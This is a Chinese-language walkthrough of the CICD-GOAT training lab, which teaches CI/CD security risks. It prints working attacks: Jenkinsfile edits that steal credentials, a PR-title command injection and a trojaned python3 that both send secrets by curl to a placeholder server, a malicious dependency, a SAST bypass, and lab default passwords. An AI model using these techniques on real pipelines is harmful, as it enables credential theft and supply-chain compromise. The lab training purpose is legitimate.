从CICD-GOAT靶场学习top-10-cicd-security-risks
字数 2276 2025-08-24 07:48:23
CICD-GOAT靶场:TOP 10 CICD安全风险实战教学
靶场概述
CICD-GOAT是一个专门设计用于学习CI/CD安全漏洞的靶场环境,包含了10种常见的CI/CD安全风险场景。靶场地址:https://github.com/cider-security-research/cicd-goat
环境准备
默认凭据:
- Jenkins: http://localhost:8080
- 用户: alice/alice
- 管理员: admin/ciderland5#
- Gitea: http://localhost:3000
- 用户: thealice/thealice
- 管理员: red_queen/ciderland5#
- GitLab: http://localhost:4000
- 用户: alice/alice1234
- 管理员: root/ciderland5#
- CTFd: admin/ciderland5#
漏洞场景详解
1. White Rabbit (PPE漏洞)
漏洞描述: Pipeline Permission Exposure (PPE)漏洞,当低权限用户能够修改Jenkinsfile并触发构建时,可以窃取凭据。
利用步骤:
- 访问Gitea仓库,找到包含Jenkinsfile的项目
- 修改Jenkinsfile注入恶意代码:
stage('getflag') {
steps {
withCredentials([string(credentialsId: 'flag1', variable: 'flag1')]) {
sh '''
echo "flag1:".$flag1 |base64
'''
}
}
}
- 创建新分支并推送:
git checkout -b challenge1
git add *
git commit -m "commit"
git push -u origin challenge1
- 在Jenkins中查看构建输出获取flag
2. Mad Hatter (间接PPE)
漏洞描述: 当pipeline配置和代码分离时,通过修改Makefile等构建文件实现间接PPE攻击。
利用步骤:
- 发现pipeline配置仓库无法直接push
- 修改Makefile注入恶意代码:
whoami:
echo $FLAG|base64
- 触发pipeline构建,在make阶段执行恶意代码获取flag
3. Duchess (敏感信息泄露)
漏洞描述: 代码仓库中存储了敏感凭据(如PyPi token)。
利用步骤:
- 使用gitleaks扫描仓库:
gitleaks detect -v
- 发现.pypirc文件中泄露的PyPi token:
password = pypi-AgEIcHlwaS5vcmcCJGNmNTI5MjkyLWYxYWMtNDEwYS04OTBjLWE4YzNjNGY1ZTBiZAACJXsicGVybWlzc2lvbnMiOiAidXN...
4. Caterpillar (Public PPE)
漏洞描述: Jenkins配置为信任所有fork项目的pull request,导致公开PPE漏洞。
利用步骤:
- 以管理员身份登录Jenkins,查看Caterpillar的test job配置
- 发现配置为"trust everyone"且会触发fork项目的PR
- fork项目并修改Jenkinsfile读取环境变量:
stage('Install_Requirements') {
steps {
sh "env"
}
}
- 创建PR触发构建,获取包含敏感信息的env输出
- 使用获取的token克隆仓库:
git clone http://[TOKEN]@127.0.0.1:3000/Wonderland/caterpillar.git
- 修改Jenkinsfile读取flag:
stage('deploy') {
steps {
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'flag2', passwordVariable: 'TOKEN')]) {
sh 'echo $TOKEN | base64'
}
}
}
5. Cheshire Cat (内置节点滥用)
漏洞描述: 滥用Jenkins内置节点(built-in)执行恶意代码。
利用步骤:
- 修改Jenkinsfile指定在built-in节点执行:
agent { label 'built-in' }
- 添加读取flag的步骤:
stage('Unit Tests') {
steps {
sh "cat ~/flag5.txt|base64"
}
}
- 创建PR触发构建获取flag
6. Twiddledum (依赖混淆)
漏洞描述: 通过控制被依赖的包实现攻击。
利用步骤:
- 发现目标项目依赖可控的twiddledee包
- 修改twiddledee的index.js注入恶意代码:
const child_process = require('child_process');
child_process.exec('env|base64 -w 0', function(error, stdout, stderr){
console.log(stdout)
});
- 发布新版本并打tag:
git tag 1.2.0 HEAD
git push origin 1.2.0
- 触发目标项目构建获取flag
7. Dodo (SAST配置绕过)
漏洞描述: 通过修改SAST工具配置文件绕过检测。
利用步骤:
- 创建.checkov.yml配置文件:
soft-fail: true
check:
- THIS_NOT_THE_CHECK_YOUR_ARE_LOOKING_FOR
- 修改main.tf设置不安全的ACL:
resource "aws_s3_bucket" "dodo" {
bucket = var.bucket_name
acl = "public-read"
}
- 推送代码绕过检测获取flag
8. Hearts (节点接管)
漏洞描述: 通过爆破凭据接管Jenkins agent节点。
利用步骤:
- 爆破得到Knave用户密码:knave/rockme
- 设置蜜罐服务器:
docker run -p 2222:2222 cowrie/cowrie
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -P FORWARD ACCEPT
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
- 在Jenkins中创建新节点,设置连接到蜜罐
- 在蜜罐日志中获取flag:
login attempt [b'agent'/b'B1A648E1-FD8B-4D66-8CAF-78114F55D396'] failed
9. Dormouse (多阶段攻击)
漏洞描述: 通过代码注入获取SSH密钥,然后修改远程脚本。
利用步骤:
- 发现reportcov仓库的PR title存在命令注入
- 创建PR并在title中注入获取SSH key的命令:
`echo "${KEY}" > key && curl -v -F file=@key http://[YOUR_SERVER]:39556`
- 从服务器获取SSH私钥
- 使用私钥修改远程reportcov.sh脚本:
echo "${FLAG}" | base64 > reportcov.sh
chmod 400 key
scp -P 2222 -i key reportcov.sh root@localhost:/var/www/localhost/htdocs
- 触发构建获取flag
10. Mock Turtle (PR检查绕过)
漏洞描述: 绕过PR检查机制执行恶意代码。
利用步骤:
- 修改Jenkinsfile添加凭据窃取代码:
withCredentials([usernamePassword(credentialsId: 'flag10', usernameVariable: 'flag10', passwordVariable: 'TOKEN')]) {
sh 'echo $TOKEN | base64'
}
- 修改version文件(无换行):
echo "1.0.13\c" > version
- 添加足够多的单词使增减相同:
echo "a a a a..." > 1.txt
- 提交PR触发构建获取flag
11. Gryphon (供应链攻击)
漏洞描述: 通过污染依赖包实现供应链攻击。
利用步骤:
- 修改pygryphon的greet.py构建恶意Docker镜像:
DOCKERFILE = """FROM python:3.8
COPY python3 /usr/local/bin/python3.bak
RUN mv /usr/local/bin/pip3 /usr/local/bin/pip3.bak
COPY pip3 /usr/local/bin/pip3
"""
PYTHON3 = """#!/bin/bash
env > /tmp/flag.txt; curl http://[YOUR_SERVER]/ -F file=@/tmp/flag.txt
"""
PIP3 = """#!/bin/bash
/usr/local/bin/pip3.bak install -r requirements.txt
mv /usr/local/bin/python3.bak /usr/local/bin/python3
"""
- 构建并推送恶意镜像:
python3.10 -m build ./
python3.10 -m twine upload -r gitlab dist/*
- 等待自动构建触发,从服务器获取flag
常见问题解决
- built-in节点卡住:重启Jenkins服务
- virtualenv报错:以管理员身份删除报错的命令
- 架构问题:确保Docker使用正确的平台架构,可在docker-compose.yaml中设置:
services:
localstack:
image: localstack/localstack:0.14.1-amd64
platform: linux/amd64
总结
通过CICD-GOAT靶场,我们系统性地学习了10种常见的CI/CD安全风险及其利用方法,包括:
- Pipeline权限暴露(PPE)
- 敏感信息泄露
- 构建配置滥用
- 依赖混淆攻击
- SAST工具绕过
- 节点接管
- 多阶段攻击链
- 供应链攻击
这些知识对于安全研究人员和DevOps工程师提高CI/CD管道安全性具有重要价值。